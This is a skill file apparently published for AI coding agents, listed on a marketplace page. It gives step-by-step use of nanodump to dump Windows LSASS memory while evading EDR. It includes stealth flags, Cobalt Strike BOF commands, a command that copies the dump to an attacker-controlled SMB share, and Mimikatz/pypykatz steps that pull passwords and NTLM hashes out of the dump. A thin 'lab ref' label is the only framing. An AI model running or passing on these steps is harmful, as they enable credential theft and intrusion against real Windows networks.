offensive-tools/windows/nanodump/SKILL.md
Auth/lab ref: NanoDump LSASS acquisition research; handle, fork, minidump, BOF/DLL formats, Windows lab validation and detection evidence.
npx skillsauth add aeondave/malskill nanodumpInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Stealthy LSASS minidump tool — syscalls + fork-based techniques to bypass modern EDR solutions.
nanodump creates a minidump of the LSASS process using:
The resulting .dmp can be parsed with Mimikatz offline.
# Basic dump via LSASS fork (most stealthy)
nanodump.exe --fork --write C:\Windows\Temp\lsass.dmp
# Dump with write to file via syscall
nanodump.exe --write C:\Windows\Temp\lsass.dmp
# BOF usage in Cobalt Strike
inline-execute nanodump.o --fork --write lsass.dmp
| Flag | Description |
|------|-------------|
| --write <path> | Write dump to file path |
| --fork | Fork LSASS before dumping (stealth) |
| --snapshot | Use process snapshot (NtCreateProcessEx) |
| --dup | Duplicate LSASS handle from another process |
| --elevate-handle | Elevate handle via existing handle in another proc |
| --silent-process-exit | Use SilentProcessExit to dump |
| --pid <n> | Specify LSASS PID manually |
| --sec-logon | Use secondary logon handle |
| --malseclogon | Abuse MalSecLogon technique |
| --help | Show all options |
# Transfer dump to Linux and parse with pypykatz
pypykatz lsa minidump lsass.dmp
# Parse on Windows with Mimikatz
mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords
# Extract NTLM hashes only
pypykatz lsa minidump lsass.dmp -o hashes.txt
# Stealthiest: fork + write to temp
nanodump.exe --fork --write C:\Windows\Temp\lsass.dmp
# Transfer dump to attacker
# Via Cobalt Strike: download C:\Windows\Temp\lsass.dmp
# Via SMB: copy lsass.dmp \\attacker\share\
# Parse on Kali
pypykatz lsa minidump lsass.dmp
# Use in CS as BOF
inline-execute nanodump.o --fork --write lsass.dmp
download lsass.dmp
--fork avoids direct LSASS access — EDR sees fork process, not LSASS dumpC:\Windows\Temp\lsass.dmp is monitored)| File | When to load |
|------|--------------|
| references/lsass-techniques.md | All LSASS dump techniques, pypykatz parsing, hash extraction, detection landscape |
development
White-box auditing methodology for AI-generated ('vibe-coded') applications. Focuses on modern stack misconfigurations (Supabase, Next.js, Vercel).
development
Hybrid AI/Deterministic SAST methodology for discovering zero-day vulnerabilities in source code. Orchestrates structural search with AI-driven data flow and sink validation.
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.
devops
Container methodology: Identifying containerization limits, Docker/K8s misconfigurations, and executing escapes to the host node.